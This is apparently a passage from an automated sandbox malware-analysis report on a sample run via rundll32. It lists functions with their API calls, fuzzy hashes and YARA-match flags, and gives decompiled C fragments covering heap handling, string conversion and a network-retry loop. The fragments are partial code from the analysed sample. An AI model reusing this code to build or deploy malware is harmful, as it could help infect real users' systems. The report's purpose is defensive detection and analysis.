                            • Part of subcall function 04CC55E4: lstrcmpi.KERNEL32(?,00000000), ref: 04CC56B7
                            • Part of subcall function 04CC55E4: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04CC5708
                          • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,00000010,?,?,?,04CD60E0,0000002C,04CC90D3,060D8E36,?,00000000,04CCA484), ref: 04CD1E2C
                            • Part of subcall function 04CCA806: GetProcAddress.KERNEL32(?,00000000), ref: 04CCA82F
                            • Part of subcall function 04CCA806: NtWow64ReadVirtualMemory64.NTDLL(00000100,?,?,00000028,00000000,00000000,00000100,00000000,?,?,?,04CC6230,00000000,00000000,00000028,00000100), ref: 04CCA851
                          • VirtualFree.KERNELBASE(?,00000000,00008000,00000010,?,?,?,04CD60E0,0000002C,04CC90D3,060D8E36,?,00000000,04CCA484,?,00000318), ref: 04CD1EB7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Virtual$AllocFree$lstrcmpi$AddressMemory64ProcReadWow64
                          • String ID:
                          • API String ID: 4138075514-0
                          • Opcode ID: a30486a4fd7945138b86f4655b6600edbd2f180e86179bc4d68178e5fc62ec86
                          • Instruction ID: 10fa695c38ea1fdeee5a7993ef7352bbe52986c491a2d283ec450d0469e0e851
                          • Opcode Fuzzy Hash: a30486a4fd7945138b86f4655b6600edbd2f180e86179bc4d68178e5fc62ec86
                          • Instruction Fuzzy Hash: 3B21E671E01228EBCF119FA5DC84ADEBBB6FF08724F14812AEA14B6150D7346A41DFA4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD18C0 Relevance: 1.6, APIs: 1, Instructions: 99COMMON
                          Download Yara Rule
                          APIs
                          • GetModuleHandleA.KERNEL32(?,00000000,?,00000000,04CD0977,04CC893A,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CD18D5
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HandleModule
                          • String ID:
                          • API String ID: 4139908857-0
                          • Opcode ID: 22db6fd914200c7c6b7beca11895f3d6ccf2040af1edcff93ea65b35d65e4b37
                          • Instruction ID: fb876e8224f9faba3f28a43499857c906d529ef39b55a63414148f0849c828e6
                          • Opcode Fuzzy Hash: 22db6fd914200c7c6b7beca11895f3d6ccf2040af1edcff93ea65b35d65e4b37
                          • Instruction Fuzzy Hash: DF3183B9A00105EFDB00DF98D884AADB7F6FB45324F59406AE345AB218DB31BE41CB94
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C71C03 Relevance: 1.6, APIs: 1, Instructions: 75memoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 92%
                          			E04C71C03(signed int __eax, void* __ecx, intOrPtr* _a4, void** _a8, intOrPtr* _a12) {
				signed int _v5;
				signed int _v12;
				void* _t32;
				signed int _t37;
				signed int _t39;
				signed char _t45;
				void* _t49;
				char* _t51;
				signed int _t65;
				signed int _t66;
				signed int _t69;

				_v12 = _v12 & 0x00000000;
				_t69 = __eax;
				_t32 = RtlAllocateHeap( *0x4c7a2d8, 0, __eax << 2); // executed
				_t49 = _t32;
				if(_t49 == 0) {
					_v12 = 8;
				} else {
					 *_a8 = _t49;
					do {
						_t45 =  *_a4;
						asm("cdq");
						_t65 = 0x64;
						_t37 = (_t45 & 0x000000ff) / _t65;
						_v5 = _t37;
						if(_t37 != 0) {
							 *_t49 = _t37 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t37 * 0x9c;
						}
						asm("cdq");
						_t66 = 0xa;
						_t39 = (_t45 & 0x000000ff) / _t66;
						if(_t39 != 0 || _v5 != _t39) {
							 *_t49 = _t39 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t39 * 0xf6;
						}
						_a4 = _a4 + 1;
						 *_t49 = _t45 + 0x30;
						 *(_t49 + 1) = 0x2c;
						_t49 = _t49 + 2;
						_t69 = _t69 - 1;
					} while (_t69 != 0);
					_t51 = _t49 - 1;
					 *_a12 = _t51 -  *_a8;
					 *_t51 = 0;
				}
				return _v12;
			}














                          0x04c71c08
                          0x04c71c0d
                          0x04c71c1b
                          0x04c71c21
                          0x04c71c25
                          0x04c71c96
                          0x04c71c27
                          0x04c71c2b
                          0x04c71c2e
                          0x04c71c31
                          0x04c71c38
                          0x04c71c39
                          0x04c71c3a
                          0x04c71c3c
                          0x04c71c41
                          0x04c71c48
                          0x04c71c4e
                          0x04c71c4f
                          0x04c71c4f
                          0x04c71c56
                          0x04c71c57
                          0x04c71c58
                          0x04c71c5c
                          0x04c71c68
                          0x04c71c6e
                          0x04c71c6f
                          0x04c71c6f
                          0x04c71c71
                          0x04c71c77
                          0x04c71c79
                          0x04c71c7e
                          0x04c71c7f
                          0x04c71c7f
                          0x04c71c85
                          0x04c71c8e
                          0x04c71c90
                          0x04c71c93
                          0x04c71ca2

                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04C71C1B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: AllocateHeap
                          • String ID:
                          • API String ID: 1279760036-0
                          • Opcode ID: c6492bdc6aa4fcaf8b432f76a765545c70aa7f5b410f719c3a4698fba09e855a
                          • Instruction ID: 046464e5474a423dbfcc15760930e47aef7b1bc5b6112df809950dc6d4bbc0d0
                          • Opcode Fuzzy Hash: c6492bdc6aa4fcaf8b432f76a765545c70aa7f5b410f719c3a4698fba09e855a
                          • Instruction Fuzzy Hash: E21129352453409FEB058F2DD855BE97FA6DF53318F18408EE4409B392C277960BC720
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB4A9F Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                          Download Yara Rule
                          APIs
                          • GetModuleHandleA.KERNEL32(?,04CD99DC,-0000000C,?,?,?,04CCC01A,00000006,?,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CB4ADA
                            • Part of subcall function 04CB74AE: NtQueryInformationProcess.NTDLL(00000000,?,00000018,00000000,04CDA400), ref: 04CB74C5
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HandleInformationModuleProcessQuery
                          • String ID:
                          • API String ID: 2776635927-0
                          • Opcode ID: 4b06528c90aff5384fc931c28c761ffc86de29fcf2056fc129b46e53fc8f1b2a
                          • Instruction ID: b24f325bc5928135f1d98527744957907f1908c9eec295d5a250098696f27507
                          • Opcode Fuzzy Hash: 4b06528c90aff5384fc931c28c761ffc86de29fcf2056fc129b46e53fc8f1b2a
                          • Instruction Fuzzy Hash: 1121C631204504EFDB28CF59CC80AEA77A7EF44394F24442DEAC58B211D670FA01DB94
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7375F Relevance: 1.6, APIs: 1, Instructions: 70synchronizationCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C7375F(signed int* __ecx, intOrPtr _a4, signed int* _a8, signed int* _a12) {
				intOrPtr _v12;
				signed int _v20;
				intOrPtr _v24;
				signed int _v60;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t14;
				signed int* _t16;
				signed int _t25;
				signed int _t26;
				signed int* _t28;
				signed int _t30;

				_t28 = __ecx;
				_t14 =  *0x4c7a368; // 0x5249618
				_v12 = _t14;
				_t16 = _a12;
				_t30 = 8;
				if(_t16 != 0) {
					 *_t16 =  *_t16 & 0x00000000;
				}
				do {
					_t31 =  &_v68;
					if(E04C7227F( &_v68) == 0) {
						goto L16;
					}
					_t30 = E04C76954(_t31, _a4, _v12);
					if(_t30 == 0) {
						_t25 = E04C71CA5(_t31, _t28); // executed
						_t30 = _t25;
						if(_t30 != 0) {
							if(_t30 == 0x102) {
								E04C7A000 = E04C7A000 + 0xea60;
							}
						} else {
							if(_v24 != 0xc8) {
								_t30 = 0xe8;
							} else {
								_t26 = _v20;
								if(_t26 == 0) {
									_t30 = 0x10d2;
								} else {
									_t28 = _a8;
									if(_t28 != 0) {
										_v60 = _v60 & _t30;
										 *_t28 = _v60;
										_t28 = _a12;
										if(_t28 != 0) {
											 *_t28 = _t26;
										}
									}
								}
							}
						}
					}
					E04C74274( &_v68, 0x102, _t28, _t30);
					L16:
				} while (_t30 == 0x2f19 && WaitForSingleObject( *0x4c7a30c, 0) == 0x102);
				return _t30;
			}

















                          0x04c7375f
                          0x04c73765
                          0x04c7376c
                          0x04c73774
                          0x04c7377a
                          0x04c7377d
                          0x04c7377f
                          0x04c7377f
                          0x04c73787
                          0x04c73787
                          0x04c73791
                          0x00000000
                          0x00000000
                          0x04c737a0
                          0x04c737a4
                          0x04c737a8
                          0x04c737ad
                          0x04c737b1
                          0x04c737ed
                          0x04c737ef
                          0x04c737ef
                          0x04c737b3
                          0x04c737ba
                          0x04c737e4
                          0x04c737bc
                          0x04c737bc
                          0x04c737c1
                          0x04c737dd
                          0x04c737c3
                          0x04c737c3
                          0x04c737c8
                          0x04c737cd
                          0x04c737d0
                          0x04c737d2
                          0x04c737d7
                          0x04c737d9
                          0x04c737d9
                          0x04c737d7
                          0x04c737c8
                          0x04c737c1
                          0x04c737ba
                          0x04c737b1
                          0x04c737fc
                          0x04c73801
                          0x04c73801
                          0x04c73825

                          APIs
                          • WaitForSingleObject.KERNEL32(00000000,761F81D0,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04C73811
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: ObjectSingleWait
                          • String ID:
                          • API String ID: 24740636-0
                          • Opcode ID: da70e90e4eb6237a08f394549a666ca8d311b87029c26002e63d18454bb5c77b
                          • Instruction ID: 75d6c5d0f2a9b2e32f2543721d6887457e102f10ab444267c8f23987837c82fa
                          • Opcode Fuzzy Hash: da70e90e4eb6237a08f394549a666ca8d311b87029c26002e63d18454bb5c77b
                          • Instruction Fuzzy Hash: DB21A1B57002869BDF11CF6ADD41B6E37B7BB81350F14402AEA0197260D735F942E750
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C71B6F Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                          Download Yara Rule
                          C-Code - Quality: 34%
                          			E04C71B6F(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x4c7a348; // 0x5cd5a8
				_t4 = _t15 + 0x4c7b3a0; // 0x5248948
				_t20 = _t4;
				_t6 = _t15 + 0x4c7b124; // 0x650047
				_t17 = E04C746CB(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E04C759AE(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}










                          0x04c71b79
                          0x04c71b80
                          0x04c71b81
                          0x04c71b82
                          0x04c71b83
                          0x04c71b89
                          0x04c71b8e
                          0x04c71b8e
                          0x04c71b98
                          0x04c71baa
                          0x04c71bb1
                          0x04c71bdf
                          0x04c71bb3
                          0x04c71bb5
                          0x04c71bba
                          0x04c71bdc
                          0x04c71bbc
                          0x04c71bbf
                          0x04c71bc6
                          0x04c71bcb
                          0x04c71bcd
                          0x04c71bcd
                          0x04c71bd2
                          0x04c71bd2
                          0x04c71bba
                          0x04c71be6

                          APIs
                            • Part of subcall function 04C746CB: SysFreeString.OLEAUT32(?), ref: 04C747AA
                            • Part of subcall function 04C759AE: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,04C75EFA,004F0053,00000000,?), ref: 04C759B7
                            • Part of subcall function 04C759AE: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,04C75EFA,004F0053,00000000,?), ref: 04C759E1
                            • Part of subcall function 04C759AE: memset.NTDLL ref: 04C759F5
                          • SysFreeString.OLEAUT32(00000000), ref: 04C71BD2
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: FreeString$lstrlenmemcpymemset
                          • String ID:
                          • API String ID: 397948122-0
                          • Opcode ID: ee0c1c026d24bc3fdfeff14405536c03c1125a92056d8f8366137b7b0c5966c3
                          • Instruction ID: dad4535e78a8caa97ef401c9be5db14d6a8f5dd65b504834dd60273827826eb7
                          • Opcode Fuzzy Hash: ee0c1c026d24bc3fdfeff14405536c03c1125a92056d8f8366137b7b0c5966c3
                          • Instruction Fuzzy Hash: AB017C76500119BFDB11AFA9CC01EAABBBAFB48754F084465EA01E7260FB70FD15D790
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C72E4E Relevance: 1.5, APIs: 1, Instructions: 41memoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 89%
                          			E04C72E4E(signed int __eax, void* __ecx, intOrPtr* __esi, void* _a4) {
				char _v8;
				void* _t14;
				intOrPtr _t17;
				void* _t20;
				void* _t26;

				_push(__ecx);
				if(_a4 == 0 || __eax == 0) {
					_t26 = 0x57;
				} else {
					_t14 = E04C71C03(__eax,  &_a4, _a4,  &_a4,  &_v8); // executed
					_t26 = _t14;
					if(_t26 == 0) {
						_t17 =  *0x4c7a348; // 0x5cd5a8
						_t9 = _t17 + 0x4c7ba40; // 0x444f4340
						_t20 = E04C73B58( *((intOrPtr*)(__esi + 4)),  *__esi, _t9, _a4, _v8, __esi + 8, __esi + 0xc); // executed
						_t26 = _t20;
						RtlFreeHeap( *0x4c7a2d8, 0, _a4); // executed
					}
				}
				return _t26;
			}








                          0x04c72e51
                          0x04c72e57
                          0x04c72eae
                          0x04c72e5d
                          0x04c72e68
                          0x04c72e6d
                          0x04c72e71
                          0x04c72e7e
                          0x04c72e86
                          0x04c72e92
                          0x04c72e9a
                          0x04c72ea4
                          0x04c72ea4
                          0x04c72e71
                          0x04c72eb3

                          APIs
                            • Part of subcall function 04C71C03: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04C71C1B
                            • Part of subcall function 04C73B58: lstrlen.KERNEL32(7620F710,?,00000000,?,7620F710), ref: 04C73B8C
                            • Part of subcall function 04C73B58: StrStrA.SHLWAPI(00000000,?), ref: 04C73B99
                            • Part of subcall function 04C73B58: RtlAllocateHeap.NTDLL(00000000,?), ref: 04C73BB8
                          • RtlFreeHeap.NTDLL(00000000,00000000,?,444F4340,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,04C7553D), ref: 04C72EA4
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Heap$Allocate$Freelstrlen
                          • String ID:
                          • API String ID: 2220322926-0
                          • Opcode ID: 5d45e37d622b81c5268f3346ae62e5b6f9d3c84f266f3c619397670620786a86
                          • Instruction ID: 747bcc96cbf18a6786d21939adedac3229ae51bbd4f340633938e5a576244248
                          • Opcode Fuzzy Hash: 5d45e37d622b81c5268f3346ae62e5b6f9d3c84f266f3c619397670620786a86
                          • Instruction Fuzzy Hash: 9F013176200508FFDB11CF44DC40FAA7BBAEB44755F144069FA1586160EB72FE55EB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC5D7A Relevance: 1.5, APIs: 1, Instructions: 15threadCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB71B4: GetProcessImageFileNameW.PSAPI(?,00000000,00000800,00001000,04CDA170,00000000,04CC5D81,?,04CBF2F7,?), ref: 04CB71D3
                            • Part of subcall function 04CB71B4: PathFindFileNameW.SHLWAPI(00000000,?,?,00000000,00000800,00001000,04CDA170,00000000,04CC5D81,?,04CBF2F7,?), ref: 04CB71DE
                            • Part of subcall function 04CB71B4: _wcsupr.NTDLL ref: 04CB71EB
                            • Part of subcall function 04CB71B4: lstrlenW.KERNEL32(00000000), ref: 04CB71F3
                          • ResumeThread.KERNEL32(00000004,?,04CBF2F7,?), ref: 04CC5D8F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FileName$FindImagePathProcessResumeThread_wcsuprlstrlen
                          • String ID:
                          • API String ID: 3646851950-0
                          • Opcode ID: 57b913abe99bdc816033a12b8f0414a7f2ac0a5fea2da86175e1e8843d7e7a6b
                          • Instruction ID: a8b018045b5b20730c00d392963ac04f1fc8d7418a7a240268942eee92e6d1f7
                          • Opcode Fuzzy Hash: 57b913abe99bdc816033a12b8f0414a7f2ac0a5fea2da86175e1e8843d7e7a6b
                          • Instruction Fuzzy Hash: 8BD09E7C205321BAE7251B11CE09B177D939F45B58F00C46DE9C950160D776B890A995
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD3083 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                          Download Yara Rule
                          APIs
                          • ___delayLoadHelper2@8.DELAYIMP ref: 04CD3090
                            • Part of subcall function 04CD31E3: RaiseException.KERNEL32(C06D0057,00000000,00000001,00000000,?,000260DC,04CB0000), ref: 04CD325C
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ExceptionHelper2@8LoadRaise___delay
                          • String ID:
                          • API String ID: 123106877-0
                          • Opcode ID: 1a8a72182f5080b417c85f16b334dde8429a57ae69a13a4f9dcef123dd0c7380
                          • Instruction ID: ca080565cc3a0309efd407c76146cf62a605a68cde0d5d364179f931132c373a
                          • Opcode Fuzzy Hash: 1a8a72182f5080b417c85f16b334dde8429a57ae69a13a4f9dcef123dd0c7380
                          • Instruction Fuzzy Hash: 8AA002953955417D311461515D06C37555EC4D4915324492DFE1194050A94279455476
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD309E Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                          Download Yara Rule
                          APIs
                          • ___delayLoadHelper2@8.DELAYIMP ref: 04CD3090
                            • Part of subcall function 04CD31E3: RaiseException.KERNEL32(C06D0057,00000000,00000001,00000000,?,000260DC,04CB0000), ref: 04CD325C
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ExceptionHelper2@8LoadRaise___delay
                          • String ID:
                          • API String ID: 123106877-0
                          • Opcode ID: 5cc0b83e51f1377ce778e9c6a416cfc673a709e3715b4d1d6c227318af978c4b
                          • Instruction ID: 6bd24815c30eb4686dfa65d8f6f679561058d8cb97f7358188d758acad81aeb4
                          • Opcode Fuzzy Hash: 5cc0b83e51f1377ce778e9c6a416cfc673a709e3715b4d1d6c227318af978c4b
                          • Instruction Fuzzy Hash: 36A00295359142BD310461515D06C37555EC4C49553244D2DEE1294050A94279455476
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB9394 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AllocateHeap
                          • String ID:
                          • API String ID: 1279760036-0
                          • Opcode ID: 796df6a0a0275c5e5e57b474fda07a1bbea999fcae5c26e814917ba8eab109cf
                          • Instruction ID: 3a5afb1864909f8868733e55eba14f87782afc8d358f8162f77bc0f6274ba14d
                          • Opcode Fuzzy Hash: 796df6a0a0275c5e5e57b474fda07a1bbea999fcae5c26e814917ba8eab109cf
                          • Instruction Fuzzy Hash: 5EB01279101100BBCA014F00DE04F057B21E750700F004014B30944060C33A2C24FB04
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C76C2C Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C76C2C(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x4c7a2d8, 0, _a4); // executed
				return _t2;
			}




                          0x04c76c38
                          0x04c76c3e

                          APIs
                          • RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: FreeHeap
                          • String ID:
                          • API String ID: 3298025750-0
                          • Opcode ID: 5b22778ae09edb99a7c2a10c0dcdb40a3da1c7be2d9c77e8095e8ebd97ef68c9
                          • Instruction ID: 9901e722698175549c23818a7aa0462afb6b912fbc57473bc4dde82040aeb6bb
                          • Opcode Fuzzy Hash: 5b22778ae09edb99a7c2a10c0dcdb40a3da1c7be2d9c77e8095e8ebd97ef68c9
                          • Instruction Fuzzy Hash: 88B012B9240200ABDB114B00DE05F0D7A31E754701F004010F3090007086370C20FB15
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C76D63 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C76D63(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x4c7a2d8, 0, _a4); // executed
				return _t2;
			}




                          0x04c76d6f
                          0x04c76d75

                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: AllocateHeap
                          • String ID:
                          • API String ID: 1279760036-0
                          • Opcode ID: c9f2e69b879ed949c6505b664f25db79744e856bee15cefa5a77459057d47d90
                          • Instruction ID: 4f85de46c4d71500f165b863303a810ebd7cf229ad25279642dd25c8e5c099a0
                          • Opcode Fuzzy Hash: c9f2e69b879ed949c6505b664f25db79744e856bee15cefa5a77459057d47d90
                          • Instruction Fuzzy Hash: 1FB01279100200ABDB014B00DD09F097B21F754701F004010F3084007086370C60FB04
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C713C7 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C713C7(intOrPtr* __eax, void* __ecx, void* __edx, void* _a4, void** _a8) {
				void* _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v144;
				int _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				char _v164;
				void* _t37;
				void* _t42;
				void* _t51;
				int _t53;
				void* _t60;
				void* _t63;
				void* _t64;

				_t53 = 0;
				_t60 = __ecx;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				if(__ecx <= 0x80 ||  *__eax != 0x400) {
					L21:
					return _t53;
				} else {
					_t58 =  &_v164;
					_t37 = E04C76FD0(__eax, __edx,  &_v164,  &_v16, _a4 + __ecx - 0x80);
					if(_t37 != 0) {
						goto L21;
					}
					_t61 = _t60 - 0x80;
					if(_v148 > _t60 - 0x80) {
						goto L21;
					}
					while( *((intOrPtr*)(_t64 + _t37 - 0x8c)) == _t53) {
						_t37 = _t37 + 1;
						if(_t37 < 0x10) {
							continue;
						}
						_t53 = _v148;
						_t51 = E04C76D63(_t53);
						_v8 = _t51;
						_t73 = _t51;
						if(_t51 != 0) {
							_t53 = 0;
							L18:
							if(_t53 != 0) {
								goto L21;
							}
							L19:
							if(_v8 != 0) {
								E04C76C2C(_v8);
							}
							goto L21;
						}
						memcpy(_t51, _a4, _t53);
						L8:
						_t63 = _v8;
						E04C76EE7(_t58, _t73, _t63, _t53,  &_v32);
						if(_v32 != _v164 || _v28 != _v160 || _v24 != _v156 || _v20 != _v152) {
							L15:
							_t53 = 0;
							goto L19;
						} else {
							 *_a8 = _t63;
							goto L18;
						}
					}
					_t58 =  &_v144;
					_t42 = E04C75FBB(_t61 & 0xfffffff0, 0,  &_v144, _a4,  &_v8,  &_v12); // executed
					__eflags = _t42;
					if(_t42 != 0) {
						_t53 = _v12;
						goto L18;
					}
					_t53 = _v148;
					__eflags = _v12 - _t53;
					if(__eflags >= 0) {
						goto L8;
					}
					goto L15;
				}
			}























                          0x04c713d2
                          0x04c713d5
                          0x04c713dc
                          0x04c713df
                          0x04c713e2
                          0x04c713e7
                          0x04c714e3
                          0x04c714e7
                          0x04c713f9
                          0x04c71405
                          0x04c7140c
                          0x04c71413
                          0x00000000
                          0x00000000
                          0x04c71419
                          0x04c71421
                          0x00000000
                          0x00000000
                          0x04c71427
                          0x04c71430
                          0x04c71434
                          0x00000000
                          0x00000000
                          0x04c71436
                          0x04c7143d
                          0x04c71442
